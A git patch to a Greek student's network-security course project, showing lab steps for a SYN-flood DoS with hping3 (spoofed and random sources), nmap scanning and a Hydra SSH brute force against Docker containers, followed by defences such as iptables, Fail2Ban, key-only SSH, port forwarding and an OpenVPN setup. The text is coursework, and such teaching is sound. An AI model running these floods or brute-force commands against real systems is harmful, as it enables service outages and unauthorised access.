From 5c41e2ac11f800fad62af26cea4b32ef15b462b0 Mon Sep 17 00:00:00 2001 From: Iro_Val Date: Wed, 13 Jan 2021 13:46:18 +0000 Subject: [PATCH] Update 'project_info.adoc' --- project_info.adoc | 1152 ++++++++++++++++++++++----------------------- 1 file changed, 576 insertions(+), 576 deletions(-) diff --git a/project_info.adoc b/project_info.adoc index 6ce576b..7308bae 100644 --- a/project_info.adoc +++ b/project_info.adoc @@ -1,577 +1,577 @@ -= Εργασία Εξαμήνου -Ασφάλεια Δικτύων και Επικοινωνιών -Βαλαγκούτη Ηρώ - Αθηνά -:toc: right -:toc-title: Πίνακας περιεχομένων -:toclevels: 4 -:sectnums: -:icons: font -:tabs: - - -toc::[] -== Docker -=== Λίγα λόγια για το Docker - -Το Docker είναι μία πλατφόρμα λογισμικού ανοιχτού κώδικα με την οποία μπορούμε να κάνουμε virtualization σε επίπεδο λειτουργικού συστήματος. Δίνεται δηλαδή η δυνατότητα να εγκατασταθεί μόνο η εφαρμογή/υπηρεσία που θέλουμε, σε ένα απομονωμένο περιβάλλον από κανονικό σύστημα. Αυτό έχει ως συνέπεια την εξοικονόμηση CPU, GPU και RAM του υπολογιστή. Ακόμη, μπορεί να -χρησιμοποιηθεί για να δοκιμαστούν άγνωστες εφαρμογές, χωρίς να κινδυνέψει το υπόλοιπο σύστημα. - -=== Οδηγός εγκατάστασης (Ubuntu) -==== ----- -curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - -sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" -sudo apt update - -sudo apt install -y docker-ce -echo "or" -sudo apt install docker* - -sudo systemctl status docker -sudo usermod -aG docker username #οπου username το όνομα του χρήστη που θα δουλεύει με docker - ----- -==== -==== docker-compose -==== ----- -sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose -sudo chmod +x /usr/local/bin/docker-compose -sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose ----- -==== -==== error -==== ----- -Get https ://registry.vlabs.uniwa.gr:5080/v2/: x509: certificate -Pulling ... -ERROR: Get https://registry.vlabs.uniwa.gr:5080/v2/: x509: certificate signed by unknown authority ----- -==== - -* run - -==== ----- -$ sudo su -# touch set-ca.sh ----- -==== - -* copy-paste into file -==== ----- -registry_address=registry.vlabs.uniwa.gr -registry_port=5043 -mkdir -p /etc/docker/certs.d/$registry_address:$registry_port -openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt -registry_port=5080 -mkdir -p /etc/docker/certs.d/$registry_address:$registry_port -openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt - -registry_address=hub.swarmlab.io -registry_port=5443 -mkdir -p /etc/docker/certs.d/$registry_address:$registry_port -openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt - -registry_port=5480 -mkdir -p /etc/docker/certs.d/$registry_address:$registry_port -openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt ----- -==== -* exec file -==== ----- -sudo bash ./set-ca.sh ----- -==== -=== Δημιουργία σμήνους (swarm) από Docker -==== Δημιουργία cluster -* Make a new directory to store the project + -==== ----- -mkdir myproject -cd myproject -../install/usr/share/swarmlab.io/sec/swarmlab-sec create ----- -==== - -* Spin up the cluster (5 clusters shown here) + -==== ----- -cd myproject #if not already on the directory -../install/usr/share/swarmlab.io/sec/swarmlab-sec up size=5 ----- -==== - -* Login to the cluster + -==== ----- -cd myproject #if not already on the directory -../install/usr/share/swarmlab.io/sec/swarmlab-sec login ----- -NOTE: When you are inside a container: + -`ssh docker@` + -User password: docker + -sudo password: docker + -==== - -== Υλοποίηση συστήματος για την προσομοίωση Dos/DDos Attack -Για να επιτευχθεί ένα D(d)os Attack, χρειάζεται να γνωρίζουμε την IP και την port του μηχανήματος που θέλουμε να χτυπήσουμε. - -=== Βρίσκοντας την IP -==== ----- -ifconfig ----- -image:images/if_config.png[] - -TIP: IP: 172.19.0.2 -==== - -=== Βρίσκοντας τους ενεργούς hosts -==== ----- -nmap -sP ----- -image:images/nmap_p.png[] - -TIP: Αν η IP είναι π.χ. 172.19.0.2, αντί για το τελευταίο νούμερο βάζουμε *. - -==== - -=== Ενεργές πόρτες -==== ----- -nmap –p– ----- -image:images/nmap_for_ports.png[] - -TIP: Εδώ φαίνεται ανοιχτή η πόρτα 22 -==== - -=== Εγκατάσταση hping3 -==== ----- -sudo apt update -sudo apt install hping3 ----- -==== - -=== Εκτέλεση -==== ----- -sudo hping3 -S -a -p --flood ----- -image:images/1st_hping3.png[] + - -ή + ----- -sudo hping3 -S --flood -V -p ----- -image:images/2nd_hping3.png[] - -Όπου: + --a: spoof source address + --S: specifies SYN packets + ---flood: shoot at discretion, replies will be ignored and packets will be sent fast as possible. + --V: Verbosity. + --p: port number + - -SYN packets flood: + ----- -sudo hping3 -q -n -d 120 -S -p --flood --rand-source ----- -image:images/3rd_hping3.png[] - -Όπου: + --q: brief output + --n: show target ip instead of host + --d 120: packet size + ---rand-source: hide IP address -==== - -=== Βλέποντας το flood -==== ----- -sudo tcpdump -ni ----- -ή + ----- -sudo tcpdump src ----- -Πρώτο attack: + -image:images/1st_flood.png[] + -Δεύτερο attack: + -image:images/2nd_flood.png[] + -Τρίτο attack: + -image:images/3rd_flood.png[] + -Στα παραπάνω screenshots φαίνεται ο διαφορετικός τύπος μηνυμάτων. -==== - -=== IP tables -Ένας τρόπος για να αποφευχθούν τα attacks είναι με χρήση των iptables. Είναι κάποιοι κανόνες που μπορούμε να δηλώσουμε ώστε να απαγορεύσουμε/επιτρέψουμε την διέλευση πακέτων. Παρακάτω χρησιμοποιήθηκε κανόνας που κόβει την κίνηση από μία συγκεκριμένη IP. -==== -Τα παρακάτω χρειάζονται sudo: + ----- -iptables -I INPUT -s -j DROP ----- -Για να δούμε τους κανόνες: + ----- -iptables -L ----- -image:images/ip_tables.png[] + -Με την iptables -nvL μπορούμε να δούμε και στατιστικά, όπως πόσα πακέτα έχουν απορριφθεί από τον κάθε κανόνα. -==== - -== SSH Brute Force Attacks -=== SSH Attack with Hydra -* Εγκατάσταση hydra + -==== ----- -apt-get install hydra ----- -==== -* Password list + -==== ----- -wget https://downloads.skullsecurity.org/passwords/500-worst-passwords.txt.bz2 - -bzip2 -d 500-worst-passwords.txt.bz2 ----- - -TIP: Μπορούμε να επεξεργαστούμε το αρχείο και να προσθέσουμε και δικά μας passwords -==== - -* Find IP address of docker: + -==== ----- -ifconfig ----- -image:images/ssh_find_ip.png[] + - -TIP: Είναι 172.19.0.1 + -==== - -* Network range: + -==== ----- -ipcalc ----- -image:images/ssh_ipcalc.png[] + - -==== - -* Scan for open ssh ports: + -==== ----- -nmap -p 22 --open ----- -image:images/ssh_open_ports.png[] + -==== - -* Execute SSH brute force attack: + -==== -Η γενική σύνταξη της εντολής είναι (επειδή γνωρίζουμε το username): + ----- -hydra -l username -P passwords_file.txt ssh://IP -t no_of_tasks ----- -Άρα γίνεται: + ----- -hydra -l docker -P '/home/iro/Desktop/500-worst-passwords.txt' ssh://172.19.0.3 -t 8 ----- -image:images/ssh_success.png[] + - -TIP: Password: docker + -Αν δεν γνωρίζουμε ούτε το username, μπορούμε να ψάξουμε με βάση κάποιο αρχείο που περιέχει πιθανά ονόματα ως εξής: -hydra -L usernames.txt -P passwords.txt ssh://172.19.0.3 -t 8 -==== - -=== Fail2Ban -Το Fail2Ban είναι ένα open-source εργαλείο που αποσκοπεί στο να προστατεύει τα συστήματα από ssh brute force attacks. + - -* Εγκατάσταση: -==== ----- -sudo apt-get install fail2ban -sudo apt-get -y install rsyslog - -sudo rsyslogd ----- -==== - -* Backup Fail2Ban main configuration file (just in case) -==== ----- -cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local ----- -==== - -* Configure Fail2Ban -==== ----- -nano /etc/fail2ban/jail.local ----- -==== - -* Φτιάχνουμε ένα ssh section και αλλάζουμε τις τιμές ανάλογα με τις προτιμίσεις μας. Δεν ξεχνάμε να κάνουμε restart την υπηρεσία στο τέλος. -==== -image:images/ssh_jail.png[] + ----- -service fail2ban restart ----- -image:images/fail2ban_running.png[] + -==== - -* Κάνουμε ξανά επίθεση -==== -Η καινούρια επίθεση αποτυγχάνει + - -image:images/ssh_attack_fail.png[] + - -Ο επιτιθέμενος έχει μπλοκαριστεί + -image:images/docker_iptables_with_fail2ban.png[] + -==== - -=== Συνδέσεις μέσω Key -* Aν έχουμε κάνει τα προηγούμενα: + -==== -Κάνουμε unban + ----- -sudo fail2ban-client unban --all ----- -Σταματάμε το fail2ban + ----- -sudo service fail2ban stop ----- -==== -* Βρίσκουμε το αρχείο sshd_config και το ανοίγουμε + -==== ----- -sudo nano /etc/ssh/sshd_config ----- -Βγάζουμε από σχόλια και αλλάζουμε τις τιμές στα: + -LogLevel VERBOSE + -PermitRootLogin prohibit-password + -PasswordAuthentication no + - -Restart the ssh service + ----- -sudo service ssh restart ----- -Παρατηρούμε ότι πλέον δεν μπορούμε να μπούμε με κωδικό + -image:images/ssh_denied_password.png[] + -==== -=== Για το κλειδί -* Αν έχουμε κάνει τα παραπάνω: + -==== -Αλλάζουμε σε σχόλιο το PasswordAuthentication στο αρχείο sshd_config + ----- -sudo nano /etc/ssh/sshd_config ----- - -Σε νέο terminal στον υπολογιστή μας γράφουμε: + ----- -ssh-keygen ----- -Δίνουμε όνομα αρχείου/κωδικό (αν θέλουμε) + - -image:images/ssh_keygen.png[] + - -Δίνουμε την εντολή + ----- -ssh-copy-id -i ~/.ssh/id_rsa.pub UserName@RemoteServer - -ssh-copy-id -i ~/.ssh/id_rsa.pub docker@172.19.0.3 ----- - -Βγάζουμε από comment το PasswordAuthentication και κάνουμε restart το ssh + ----- -sudo service ssh restart ----- - -Αν πάμε να συνδεθούμε, πλέον θα χρειάζεται το κλειδί που δώσαμε στο ssh-keygen + - -==== -== SSH Forwarding -=== Εγκατάσταση υπηρεσίας (apache) -==== ----- -sudo apt-get update -sudo apt install apache2 - ----- -TIP: Αν έχουμε ήδη κάποια άλλη υπηρεσία, μπορούμε να χρησιμοποιήσουμε αυτή. -==== - -Για να τρέξουμε την υπηρεσία: -==== ----- -sudo apachectl start -sudo netstat -antlupe ----- -image:images/apache_is_running.png[] + -Η υπηρεσία μας τρέχει! + -==== -=== Local port forwarding -Η πρώτη συράγγωση είναι μεταξύ ενός container στον υπολογιστή μας. Για να επιτευχθεί αυτό χρειάζεται ο υπολογιστής μας να έχει και την server side υπηρεσία του ssh. Η port μετά το localhost θα πρέπει να είναι εκείνη που έχει την υπηρεσία που θέλουμε. Αλλάζουμε username και IP ανάλογα. + -==== -Σε ένα οποιοδήποτε container γράφουμε: + ----- -ssh -nNT -L 8081:localhost:80 iro@192.168.64.128 ----- - -image:images/local_port_forwarding.png[] + - -image:images/apache_page.png[] + -Εάν κάνουμε curl localhost:8081 βλέπουμε την σελίδα του apache + -==== - -=== Remote port forwarding -==== -Στον υπολογιστή μας γράφουμε: + ----- -ssh -nNT -R 8082:localhost:80 docker@172.21.0.6 ----- -image:images/remote_ssh.png[] + - -image:images/remote_ssh_apache.png[] + -Εάν κάνουμε curl localhost:8082 βλέπουμε την σελίδα του apache + -==== - -== VPN -Δημιουργούμε ένα νέο κατάλογο μέσα στο swarmlab-sec με όνομα π.χ. vpn + - -=== Δημιουργία αρχείου (create-vpn.sh) - -* copy-paste -==== -[source,bash] ----- -#!/bin/bash -IP=127.0.0.1 # Server IP # <1> -P=1194 # Server Port # <2> -OVPN_SERVER='10.80.0.0/16' # VPN Network # <3> - -#vpn_data=/var/lib/swarmlab/openvpn/openvpn-services/ # Dir to save data ** this must exist ** -vpn_data=$PWD/openvpn-services/ # <4> -if [ ! -d $vpn_data ]; then - mkdir -p $vpn_data -fi - -NAME=swarmlab-vpn-services # name of docker service # <5> -DOCKERnetwork=swarmlab-vpn-services-network # docker network -docker=registry.vlabs.uniwa.gr:5080/myownvpn # docker image - -docker stop $NAME #stop container -sleep 1 -docker container rm $NAME #rm container - -# rm config files -rm -f $vpn_data/openvpn.conf.*.bak -rm -f $vpn_data/openvpn.conf -rm -f $vpn_data/ovpn_env.sh.*.bak -rm -f $vpn_data/ovpn_env.sh - -# create network -sleep 1 -docker network create --attachable=true --driver=bridge --subnet=172.50.0.0/16 --gateway=172.50.0.1 $DOCKERnetwork - -#run container see ovpn_genconfig -docker run --net=none -it -v $vpn_data:/etc/openvpn -p 1194:1194 --rm $docker ovpn_genconfig -u udp://$IP:1194 \ --N -d -c -p "route 172.50.20.0 255.255.255.0" -e "topology subnet" -s $OVPN_SERVER # <6> - -# create pki see ovpn_initpki -docker run --net=none -v $vpn_data:/etc/openvpn --rm -it $docker ovpn_initpki # <7> - -# see ovpn_copy_server_files -#docker run --net=none -v $vpn_data:/etc/openvpn --rm $docker ovpn_copy_server_files - -#create vpn see --cap-add=NET_ADMIN -sleep 1 -docker run --detach --name $NAME -v $vpn_data:/etc/openvpn --net=$DOCKERnetwork --ip=172.50.0.2 -p $P:1194/udp --cap-add=NET_ADMIN $docker # <8> - -sudo sysctl -w net.ipv4.ip_forward=1 - -#show created -docker ps ----- -<1> localhost inside of a container will resolve to the network stack of this container -<2> Port -<3> Specify Addresses and Netmasks for VPN Clients -<4> Directory to mount data -<5> Name of docker services -<6> Create config -<7> keys -<8> Run docker vpn service -==== -Τρέχουμε το αρχείο. (προσοχή στα δικαιώματα). Θα ζητηθεί ένα passphrase, μπορούμε να εισάγουμε ότι θέλουμε. Όταν η διαδικασία ολοκληρωθεί, θα πρέπει στα NAMES να δούμε το όνομα swarmlab-vpn-services (ή το αντίστοιχο που έχουμε επιλέξει εμείς). + -image:images/vpn_success.png[] + -Μπορούμε να το επιβεβαιώσουμε και με netstat + -image:images/vpn_success_2.png[] + - -=== Δημιουργία χρήστη -Για να μπορέσει να συνδεθεί ένας χρήστης, χρειάζεται ένα config αρχείο. -==== ----- -Η δομή της εντολής είναι: -docker run -v $vpn_data:/etc/openvpn --rm -it $docker easyrsa build-client-full $USERNAME nopass - -docker run -v $vpn_data:/etc/openvpn --log-driver=none --rm $docker ovpn_getclient $USERNAME > $USERNAME.ovpn - -όπου: -USERNAME=sec1 -vpn_data=$PWD/openvpn-services/ -docker=registry.vlabs.uniwa.gr:5080/myownvpn -όπως δόθηκαν στο αρχείο για το vpn - -Άρα -docker run -v $PWD/openvpn-services:/etc/openvpn --rm -it registry.vlabs.uniwa.gr:5080/myownvpn easyrsa build-client-full sec1 nopass - -docker run -v $PWD/openvpn-services:/etc/openvpn --rm --log-driver=none -it registry.vlabs.uniwa.gr:5080/myownvpn ovpn_getclient sec1 > sec1.ovpn ----- -Θα πρέπει να επιστρέψει την παρακάτω οθόνη (αφού εισάγουμε τον κωδικό) + -image:images/user_config_create_1.png[] + -==== -Ανοίγουμε το αρχείο του χρήστη και κάνουμε copy-paste αντικαθιστώντας την host machine IP με την δική μας, δηλαδή το μηχανάκι που τρέχει το docker. Το 1194 είναι η πόρτα που έχουμε δώσει στο create-vpn.sh -==== ----- -client -nobind -dev tun -comp-lzo -resolv-retry infinite -keepalive 15 60 - -remote-cert-tls server -remote 1194 udp -float ----- - -Αντιγράφουμε το αρχείο στον φάκελο που έχουμε το project ----- -cp sec* ../test/project/ ----- - -image:images/sec_on_project_folder.png[] + -==== -=== Εγκατάσταση openvpn -Για να μπορέσουμε να συνδεθούμε στο vpn, χρειαζόμαστε το openvpn. Το εγκαθιστούμε τόσο στα containers όσο και στο docker (τον master) -==== ----- -apt update -apt install openvpn ----- -==== -=== Λειτουργία -Εκτελούμε την παρακάτω εντολή σε κάποιο container: -==== ----- -openvpn --config ./sec1.ovpn ----- -image:images/init_sequence_complete.png[] + -Εδώ βλέπουμε ότι το container πήρε την IP 10.80.0.2, η οποία είναι εντός του VPN nertwork που ορίστηκε στο create-vpn.sh αρχείο (10.80.0.0/16). + - -image:images/worker_ip_after_vpn.png[] + -Το interface tun0 με τη IP του VPN. + += Εργασία Εξαμήνου +Ασφάλεια Δικτύων και Επικοινωνιών +Βαλαγκούτη Ηρώ - Αθηνά +:toc: right +:toc-title: Πίνακας περιεχομένων +:toclevels: 4 +:sectnums: +:icons: font +:tabs: + + +toc::[] +== Docker +=== Λίγα λόγια για το Docker + +Το Docker είναι μία πλατφόρμα λογισμικού ανοιχτού κώδικα με την οποία μπορούμε να κάνουμε virtualization σε επίπεδο λειτουργικού συστήματος. Δίνεται δηλαδή η δυνατότητα να εγκατασταθεί μόνο η εφαρμογή/υπηρεσία που θέλουμε, σε ένα απομονωμένο περιβάλλον από κανονικό σύστημα. Αυτό έχει ως συνέπεια την εξοικονόμηση CPU, GPU και RAM του υπολογιστή. Ακόμη, μπορεί να +χρησιμοποιηθεί για να δοκιμαστούν άγνωστες εφαρμογές, χωρίς να κινδυνέψει το υπόλοιπο σύστημα. + +=== Οδηγός εγκατάστασης (Ubuntu) + +``` +curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - +sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" +sudo apt update + +sudo apt install -y docker-ce +echo "or" +sudo apt install docker* + +sudo systemctl status docker +sudo usermod -aG docker username #οπου username το όνομα του χρήστη που θα δουλεύει με docker + +``` + +==== docker-compose +==== +---- +sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose +sudo chmod +x /usr/local/bin/docker-compose +sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose +---- +==== +==== error +==== +---- +Get https ://registry.vlabs.uniwa.gr:5080/v2/: x509: certificate +Pulling ... +ERROR: Get https://registry.vlabs.uniwa.gr:5080/v2/: x509: certificate signed by unknown authority +---- +==== + +* run + +==== +---- +$ sudo su +# touch set-ca.sh +---- +==== + +* copy-paste into file +==== +---- +registry_address=registry.vlabs.uniwa.gr +registry_port=5043 +mkdir -p /etc/docker/certs.d/$registry_address:$registry_port +openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt +registry_port=5080 +mkdir -p /etc/docker/certs.d/$registry_address:$registry_port +openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt + +registry_address=hub.swarmlab.io +registry_port=5443 +mkdir -p /etc/docker/certs.d/$registry_address:$registry_port +openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt + +registry_port=5480 +mkdir -p /etc/docker/certs.d/$registry_address:$registry_port +openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt +---- +==== +* exec file +==== +---- +sudo bash ./set-ca.sh +---- +==== +=== Δημιουργία σμήνους (swarm) από Docker +==== Δημιουργία cluster +* Make a new directory to store the project + +==== +---- +mkdir myproject +cd myproject +../install/usr/share/swarmlab.io/sec/swarmlab-sec create +---- +==== + +* Spin up the cluster (5 clusters shown here) + +==== +---- +cd myproject #if not already on the directory +../install/usr/share/swarmlab.io/sec/swarmlab-sec up size=5 +---- +==== + +* Login to the cluster + +==== +---- +cd myproject #if not already on the directory +../install/usr/share/swarmlab.io/sec/swarmlab-sec login +---- +NOTE: When you are inside a container: + +`ssh docker@` + +User password: docker + +sudo password: docker + +==== + +== Υλοποίηση συστήματος για την προσομοίωση Dos/DDos Attack +Για να επιτευχθεί ένα D(d)os Attack, χρειάζεται να γνωρίζουμε την IP και την port του μηχανήματος που θέλουμε να χτυπήσουμε. + +=== Βρίσκοντας την IP +==== +---- +ifconfig +---- +image:images/if_config.png[] + +TIP: IP: 172.19.0.2 +==== + +=== Βρίσκοντας τους ενεργούς hosts +==== +---- +nmap -sP +---- +image:images/nmap_p.png[] + +TIP: Αν η IP είναι π.χ. 172.19.0.2, αντί για το τελευταίο νούμερο βάζουμε *. + +==== + +=== Ενεργές πόρτες +==== +---- +nmap –p– +---- +image:images/nmap_for_ports.png[] + +TIP: Εδώ φαίνεται ανοιχτή η πόρτα 22 +==== + +=== Εγκατάσταση hping3 +==== +---- +sudo apt update +sudo apt install hping3 +---- +==== + +=== Εκτέλεση +==== +---- +sudo hping3 -S -a -p --flood +---- +image:images/1st_hping3.png[] + + +ή + +---- +sudo hping3 -S --flood -V -p +---- +image:images/2nd_hping3.png[] + +Όπου: + +-a: spoof source address + +-S: specifies SYN packets + +--flood: shoot at discretion, replies will be ignored and packets will be sent fast as possible. + +-V: Verbosity. + +-p: port number + + +SYN packets flood: + +---- +sudo hping3 -q -n -d 120 -S -p --flood --rand-source +---- +image:images/3rd_hping3.png[] + +Όπου: + +-q: brief output + +-n: show target ip instead of host + +-d 120: packet size + +--rand-source: hide IP address +==== + +=== Βλέποντας το flood +==== +---- +sudo tcpdump -ni +---- +ή + +---- +sudo tcpdump src +---- +Πρώτο attack: + +image:images/1st_flood.png[] + +Δεύτερο attack: + +image:images/2nd_flood.png[] + +Τρίτο attack: + +image:images/3rd_flood.png[] + +Στα παραπάνω screenshots φαίνεται ο διαφορετικός τύπος μηνυμάτων. +==== + +=== IP tables +Ένας τρόπος για να αποφευχθούν τα attacks είναι με χρήση των iptables. Είναι κάποιοι κανόνες που μπορούμε να δηλώσουμε ώστε να απαγορεύσουμε/επιτρέψουμε την διέλευση πακέτων. Παρακάτω χρησιμοποιήθηκε κανόνας που κόβει την κίνηση από μία συγκεκριμένη IP. +==== +Τα παρακάτω χρειάζονται sudo: + +---- +iptables -I INPUT -s -j DROP +---- +Για να δούμε τους κανόνες: + +---- +iptables -L +---- +image:images/ip_tables.png[] + +Με την iptables -nvL μπορούμε να δούμε και στατιστικά, όπως πόσα πακέτα έχουν απορριφθεί από τον κάθε κανόνα. +==== + +== SSH Brute Force Attacks +=== SSH Attack with Hydra +* Εγκατάσταση hydra + +==== +---- +apt-get install hydra +---- +==== +* Password list + +==== +---- +wget https://downloads.skullsecurity.org/passwords/500-worst-passwords.txt.bz2 + +bzip2 -d 500-worst-passwords.txt.bz2 +---- + +TIP: Μπορούμε να επεξεργαστούμε το αρχείο και να προσθέσουμε και δικά μας passwords +==== + +* Find IP address of docker: + +==== +---- +ifconfig +---- +image:images/ssh_find_ip.png[] + + +TIP: Είναι 172.19.0.1 + +==== + +* Network range: + +==== +---- +ipcalc +---- +image:images/ssh_ipcalc.png[] + + +==== + +* Scan for open ssh ports: + +==== +---- +nmap -p 22 --open +---- +image:images/ssh_open_ports.png[] + +==== + +* Execute SSH brute force attack: + +==== +Η γενική σύνταξη της εντολής είναι (επειδή γνωρίζουμε το username): + +---- +hydra -l username -P passwords_file.txt ssh://IP -t no_of_tasks +---- +Άρα γίνεται: + +---- +hydra -l docker -P '/home/iro/Desktop/500-worst-passwords.txt' ssh://172.19.0.3 -t 8 +---- +image:images/ssh_success.png[] + + +TIP: Password: docker + +Αν δεν γνωρίζουμε ούτε το username, μπορούμε να ψάξουμε με βάση κάποιο αρχείο που περιέχει πιθανά ονόματα ως εξής: +hydra -L usernames.txt -P passwords.txt ssh://172.19.0.3 -t 8 +==== + +=== Fail2Ban +Το Fail2Ban είναι ένα open-source εργαλείο που αποσκοπεί στο να προστατεύει τα συστήματα από ssh brute force attacks. + + +* Εγκατάσταση: +==== +---- +sudo apt-get install fail2ban +sudo apt-get -y install rsyslog + +sudo rsyslogd +---- +==== + +* Backup Fail2Ban main configuration file (just in case) +==== +---- +cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local +---- +==== + +* Configure Fail2Ban +==== +---- +nano /etc/fail2ban/jail.local +---- +==== + +* Φτιάχνουμε ένα ssh section και αλλάζουμε τις τιμές ανάλογα με τις προτιμίσεις μας. Δεν ξεχνάμε να κάνουμε restart την υπηρεσία στο τέλος. +==== +image:images/ssh_jail.png[] + +---- +service fail2ban restart +---- +image:images/fail2ban_running.png[] + +==== + +* Κάνουμε ξανά επίθεση +==== +Η καινούρια επίθεση αποτυγχάνει + + +image:images/ssh_attack_fail.png[] + + +Ο επιτιθέμενος έχει μπλοκαριστεί + +image:images/docker_iptables_with_fail2ban.png[] + +==== + +=== Συνδέσεις μέσω Key +* Aν έχουμε κάνει τα προηγούμενα: + +==== +Κάνουμε unban + +---- +sudo fail2ban-client unban --all +---- +Σταματάμε το fail2ban + +---- +sudo service fail2ban stop +---- +==== +* Βρίσκουμε το αρχείο sshd_config και το ανοίγουμε + +==== +---- +sudo nano /etc/ssh/sshd_config +---- +Βγάζουμε από σχόλια και αλλάζουμε τις τιμές στα: + +LogLevel VERBOSE + +PermitRootLogin prohibit-password + +PasswordAuthentication no + + +Restart the ssh service + +---- +sudo service ssh restart +---- +Παρατηρούμε ότι πλέον δεν μπορούμε να μπούμε με κωδικό + +image:images/ssh_denied_password.png[] + +==== +=== Για το κλειδί +* Αν έχουμε κάνει τα παραπάνω: + +==== +Αλλάζουμε σε σχόλιο το PasswordAuthentication στο αρχείο sshd_config + +---- +sudo nano /etc/ssh/sshd_config +---- + +Σε νέο terminal στον υπολογιστή μας γράφουμε: + +---- +ssh-keygen +---- +Δίνουμε όνομα αρχείου/κωδικό (αν θέλουμε) + + +image:images/ssh_keygen.png[] + + +Δίνουμε την εντολή + +---- +ssh-copy-id -i ~/.ssh/id_rsa.pub UserName@RemoteServer + +ssh-copy-id -i ~/.ssh/id_rsa.pub docker@172.19.0.3 +---- + +Βγάζουμε από comment το PasswordAuthentication και κάνουμε restart το ssh + +---- +sudo service ssh restart +---- + +Αν πάμε να συνδεθούμε, πλέον θα χρειάζεται το κλειδί που δώσαμε στο ssh-keygen + + +==== +== SSH Forwarding +=== Εγκατάσταση υπηρεσίας (apache) +==== +---- +sudo apt-get update +sudo apt install apache2 + +---- +TIP: Αν έχουμε ήδη κάποια άλλη υπηρεσία, μπορούμε να χρησιμοποιήσουμε αυτή. +==== + +Για να τρέξουμε την υπηρεσία: +==== +---- +sudo apachectl start +sudo netstat -antlupe +---- +image:images/apache_is_running.png[] + +Η υπηρεσία μας τρέχει! + +==== +=== Local port forwarding +Η πρώτη συράγγωση είναι μεταξύ ενός container στον υπολογιστή μας. Για να επιτευχθεί αυτό χρειάζεται ο υπολογιστής μας να έχει και την server side υπηρεσία του ssh. Η port μετά το localhost θα πρέπει να είναι εκείνη που έχει την υπηρεσία που θέλουμε. Αλλάζουμε username και IP ανάλογα. + +==== +Σε ένα οποιοδήποτε container γράφουμε: + +---- +ssh -nNT -L 8081:localhost:80 iro@192.168.64.128 +---- + +image:images/local_port_forwarding.png[] + + +image:images/apache_page.png[] + +Εάν κάνουμε curl localhost:8081 βλέπουμε την σελίδα του apache + +==== + +=== Remote port forwarding +==== +Στον υπολογιστή μας γράφουμε: + +---- +ssh -nNT -R 8082:localhost:80 docker@172.21.0.6 +---- +image:images/remote_ssh.png[] + + +image:images/remote_ssh_apache.png[] + +Εάν κάνουμε curl localhost:8082 βλέπουμε την σελίδα του apache + +==== + +== VPN +Δημιουργούμε ένα νέο κατάλογο μέσα στο swarmlab-sec με όνομα π.χ. vpn + + +=== Δημιουργία αρχείου (create-vpn.sh) + +* copy-paste +==== +[source,bash] +---- +#!/bin/bash +IP=127.0.0.1 # Server IP # <1> +P=1194 # Server Port # <2> +OVPN_SERVER='10.80.0.0/16' # VPN Network # <3> + +#vpn_data=/var/lib/swarmlab/openvpn/openvpn-services/ # Dir to save data ** this must exist ** +vpn_data=$PWD/openvpn-services/ # <4> +if [ ! -d $vpn_data ]; then + mkdir -p $vpn_data +fi + +NAME=swarmlab-vpn-services # name of docker service # <5> +DOCKERnetwork=swarmlab-vpn-services-network # docker network +docker=registry.vlabs.uniwa.gr:5080/myownvpn # docker image + +docker stop $NAME #stop container +sleep 1 +docker container rm $NAME #rm container + +# rm config files +rm -f $vpn_data/openvpn.conf.*.bak +rm -f $vpn_data/openvpn.conf +rm -f $vpn_data/ovpn_env.sh.*.bak +rm -f $vpn_data/ovpn_env.sh + +# create network +sleep 1 +docker network create --attachable=true --driver=bridge --subnet=172.50.0.0/16 --gateway=172.50.0.1 $DOCKERnetwork + +#run container see ovpn_genconfig +docker run --net=none -it -v $vpn_data:/etc/openvpn -p 1194:1194 --rm $docker ovpn_genconfig -u udp://$IP:1194 \ +-N -d -c -p "route 172.50.20.0 255.255.255.0" -e "topology subnet" -s $OVPN_SERVER # <6> + +# create pki see ovpn_initpki +docker run --net=none -v $vpn_data:/etc/openvpn --rm -it $docker ovpn_initpki # <7> + +# see ovpn_copy_server_files +#docker run --net=none -v $vpn_data:/etc/openvpn --rm $docker ovpn_copy_server_files + +#create vpn see --cap-add=NET_ADMIN +sleep 1 +docker run --detach --name $NAME -v $vpn_data:/etc/openvpn --net=$DOCKERnetwork --ip=172.50.0.2 -p $P:1194/udp 